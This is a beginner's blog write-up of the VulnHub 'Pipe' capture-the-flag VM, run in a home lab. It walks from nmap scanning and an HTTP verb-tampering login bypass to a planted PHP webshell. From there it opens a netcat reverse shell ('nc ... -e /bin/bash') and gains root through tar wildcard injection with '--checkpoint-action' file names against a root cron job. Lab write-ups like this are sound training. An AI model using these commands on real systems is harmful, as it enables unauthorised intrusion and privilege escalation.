How do you get to be a pentester? Practice.
Pipe is a VM created by Sagi. I made a new commitment to myself to start working through these and writing them up, and this is my first example. My solution below is not unique, it is an amalgamation of techniques I grabbed reading the walkthroughs linked on VulnHub.com.
Step 0 : Get it running
I used Virtualbox for this because it’s what I had handy. The VM comes as an OVA, so loading it in Virtualbox is simple, just File -> Import. Networking can be confusing if you’re not practiced with hypervisors, in my case I chose to create a Host-only network(Virtualbox -> Preferences -> Network -> Host-only networks), checked the IP range and that DHCP was turned on. After import, you want to verify the network adapter settings of the VM and start it. In my case I did it headless. I have no need to interact with the console, and since 5.0 Virtualbox has had the option in the GUI to start headless.
Step 1 : Discovery/Enumeration
The default option here is nmap. that’s where I ended up. First I thought to try the idea I read in this tweet, however, that’s for Windows, and I am on a Mac, and I’d rather do the practice attacking than translating cmd to bash. This means the fallback is for me to start googling the parameters I can never seem to remember.
$ nmap -sP 192.168.56.0/24
Wicked, host found at 192.168.56.101. Moving right along, what’s it running. Again, more googling for nmap parameters.
$ nmap -sV 192.168.56.101
Starting Nmap 6.47 ( http://nmap.org ) at 2016-02-03 17:30 EST
Nmap scan report for 192.168.56.101 Host is up (0.0046s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5 (protocol 2.0)
80/tcp open http Apache httpd
111/tcp open rpcbind 2-4 (RPC #100000)
Service Info: OS: Linux; CPE:
Hooray! Open ports! Easy to investigate open ports, like 80. Pointing a browser at it is a little disheartening at first. All you get is a login dialog.
All my reading on other people’s hard work leads me to believe that tampering with HTTP verbs will help. I pointed the browser at a localhost proxy on 8080 and fired up BurpSuite. I tried every verb I know about(or could read about on wikipedia) without much results. I did see a 405 error, which I can’t remembering having see before. To get these results I captured a get request and sent it to Burp’s repeater tab, then just altered the verb each time.
TRACE unallowed 405
So moving right back to my handy cheatsheets, I found you just need to send an invalid verb. In my case I chose BOB. Again I met a snag. The base “/“ request didn’t work. Instead of running back to the answers, I looked at the evidence I had. Slash was redirecting to index.php. Trying http://192.168.56.101/index.php still got me the login box, but if I repeated that request with my friend BOB, I got a result! I sent that back to the browser to further investigate.
Clicking the only link on the page, watching in Burp, I see the following parameter
Seems like a great spot to start injecting things, but what? I threw it over to the decoder tab, but that didn’t really clear anything up for me.
Oh look, an accessible directory!
Reading the files didn’t personally give me any insight into what’s happening, which really shows I need to work on my code reading skills. This means back to the cheatsheets, for the wisdom of folks much more experienced than I.
Rolling back a step, that parameter feeds php.js. Which has access to write to the filesystem, which is BAD. If you feed it some sample ideas, like so,
you get a result like this,
OOOOOO, the power, I can feel it.
Step 2: Exploitation
Using a new parameter,
Teaches me all about webshells. And that I need to install something listening on my attacker computer. Homebrew to the rescue.
# from attacker machine
$ brew install netcat
nc -l 8888
Time to do the real hacker stuff. Hitting this link with Firefox, and watch the magic of vulnerable web servers.
http://192.168.56.101/scripts/me5.php?cmd=nc 192.168.56.1 -e /bin/bash
Here’s what I saw and did to check myself when the connection came back.
Connection from 192.168.56.101:57650
drwxr-xr-x 2 www-data www-data 4096 Feb 4 07:30 .
drwxr-xr-x 4 www-data www-data 4096 Jul 9 2015 ..
-rw-r--r-- 1 www-data www-data 94 Jul 9 2015 .htaccess
-rw-r--r-- 1 www-data www-data 474 Jul 6 2015 log.php.BAK
-rw-r--r-- 1 www-data www-data 11 Feb 4 07:15 me.txt
-rw-r--r-- 1 www-data www-data 41 Feb 4 07:30 me5.php
-rw-r--r-- 1 www-data www-data 3768 Jul 5 2015 php.js
Full disclosure, as a newb, I’ve done nearly nothing with remote shells in this capacity, and the lack of prompt threw me off. I accidentally killed the connection more than a few times following my example mentors. Reconnecting is as easy as hitting the up arrow in Terminal to restart the listener, then refreshing the link in Firefox to restart the connection. So what do we know now? We’re interacting with the vulnerable machine as the user www-data. What can we do? Plenty, as it turns out. Privilege escalation is the only logical solution. So I poked around looking for info in the few files I found.
deny from all
/scriptz/.htaccess had nothing interesting. Moved up a directory, and .htaccess points to .htpassword. .htpassword has … A USER! W00t. Now what can our new best friend rene do? Start by looking to see if they have anything interesting.
ls -la /home/rene
drwxr-xr-x 3 rene rene 4096 Jul 6 2015 .
drwxr-xr-x 3 root root 4096 Jul 5 2015 ..
-rw-r--r-- 1 rene rene 220 Jul 5 2015 .bash_logout
-rw-r--r-- 1 rene rene 3515 Jul 5 2015 .bashrc
-rw-r--r-- 1 rene rene 675 Jul 5 2015 .profile
drwxrwxrwx 2 rene rene 4096 Feb 11 07:01 backup
ls -la /home/rene/backup
drwxrwxrwx 2 rene rene 4096 Feb 11 07:03 .
drwxr-xr-x 3 rene rene 4096 Jul 6 2015 ..
-rw-r--r-- 1 rene rene 64477 Feb 11 07:00 backup.tar.gz
-rw-r--r-- 1 rene rene 15757 Feb 11 07:02 sys-13457.BAK
-rw-r--r-- 1 rene rene 11472 Feb 11 07:01 sys-2789.BAK
-rw-r--r-- 1 rene rene 539 Feb 11 07:03 sys-3978.BAK
That’s pretty interesting. Something is writing files. Actively. Cron is a handy tool for automated things. Wonder what it has to say for itself.
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * * root /root/create_backup.sh
*/5 * * * * root /usr/bin/compress.sh
Again my inexperience is a detriment. The last time I looked at a crontab file was 5 years ago. The last two lines did stick out to me as something interesting. I can’t access /root as www-data. Can I read /usr/bin? Yup.
rm -f /home/rene/backup/backup.tar.gz
tar cfz /home/rene/backup/backup.tar.gz *
chown rene:rene /home/rene/backup/backup.tar.gz
rm -f /home/rene/backup/*.BAK
Leaning on my mentors yet again, there is a vulnerability in the configuration. Distilled to the least number of characters, there’s a vulnerability in the tar command as entered. I had to read up on this, since even after following the demo, I didn’t understand how my actions had worked. Here’s the relevant explainer,
Simple trick behind this technique is that when using shell wildcards,
especially asterisk (*), Unix shell will interpret files beginning with hyphen(-) character as command line arguments to executed command/program. That leaves space for variation of classic channeling attack. Channeling problem will arise when different kind of information channels are combined into single channel. Practical case in form of particulary this technique is combining arguments and filenames, as different “channels” into single, because of using shell wildcards.
With that in mind, the exploit below makes much more sense. First I verified I was where I needed to be on the vulnerable machine.
Assumptions verified, I followed the example of my favorite anonymous mentor, @g0blinResearch. I’m inserting files named as commands, which in turn are telling the vulnerable string in /usr/bin/compress.sh to create shell.sh(as root b/c of cron) and that it should change the SUID bit on /bin/dash. This means that as /bin/dash is called from any user, it will be running as root. I may be articulating this poorly, but if you follow the commands below, you see I get root.
echo > --checkpoint=1;
echo > --checkpoint-action=exec=sh\ shell.sh;
echo 'chmod u+s /bin/dash' > shell.sh
chmod +x shell.sh
This is our exploit, creating three files, and changing shell.sh to be executable. Below I’m verifying this worked as intended.
-rw-r--r-- 1 www-data www-data 1 Feb 11 07:12 --checkpoint-action=exec=sh shell.sh
-rw-r--r-- 1 www-data www-data 1 Feb 11 07:12 --checkpoint=1
drwxrwxrwx 2 rene rene 4096 Feb 11 07:13 .
drwxr-xr-x 3 rene rene 4096 Jul 6 2015 ..
-rw-r--r-- 1 rene rene 90755 Feb 11 07:10 backup.tar.gz
-rwxr-xr-x 1 www-data www-data 20 Feb 11 07:13 shell.sh
-rw-r--r-- 1 rene rene 25883 Feb 11 07:12 sys-2531.BAK
-rw-r--r-- 1 rene rene 465 Feb 11 07:13 sys-26349.BAK
-rw-r--r-- 1 rene rene 20350 Feb 11 07:11 sys-8054.BAK
Waiting for the next loop of cron to run, I go and get a cup of coffee and check back by running /bin/dash.
I guess that’s the root part of boot2root, huh? Well then. Lets just finish this quickly to get moved on to the next.
.AMMMMn. MM `*YMMY*ccaM*
dM* *YMMb YP `cMY
YM. .dMMP aMn. .cMP
|====== | |
|====== | |
|====== | |
|====== | |
|====== | |
.d8888b. d8b d8b 888 d8b
d88P Y88b Y8P 88P 888 Y8P
888 888 8P 888
888 .d88b. .d8888b888 88888b." .d88b. .d8888b 888888 88888b. 8888b. .d8888b 888 88888888b. .d88b. 88888b. 88888888b. .d88b.
888 d8P Y8bd88P" 888 888 "88b d8P Y8b88K 888 888 "88b "88b88K 888 888888 "88bd8P Y8b 888 "88b888888 "88bd8P Y8b
888 88888888888888 888 888 888 88888888"Y8888b.888 888 888.d888888"Y8888b. 888 888888 88888888888 888 888888888 88888888888
Y88b d88PY8b. Y88b. 888 888 888 Y8b. X88Y88b. 888 d88P888 888 X88 Y88b 888888 888Y8b. 888 d88P888888 d88PY8b. d8b
"Y8888P" "Y8888 "Y8888P888 888 888 "Y8888 88888P' "Y888 88888P" "Y888888 88888P' "Y88888888 888 "Y8888 88888P" 88888888P" "Y8888Y8P
888 888 888
888 888 888
888 888 888
Here's your flag: 0089cd4f9ae79402cdd4e7b8931892b7
And that’s all. I learned a ton. Hopefully as I do more of these there will be less leaning on the hard work of others, and more “hacker intuition”. In the mean time, this blog post is brought to you by the fine walkthroughs below,
and the lovely folks at vulnhub.com. If you’re interested in this stuff, I highly recommend you pull down some of their VMs and try it yourself. It’s not that hard, it is that fun, and there’s a lot to learn!
Since I’m done, it’s time to turn off the lights on my way out of the VM, since I’m root and all.
shutdown -h now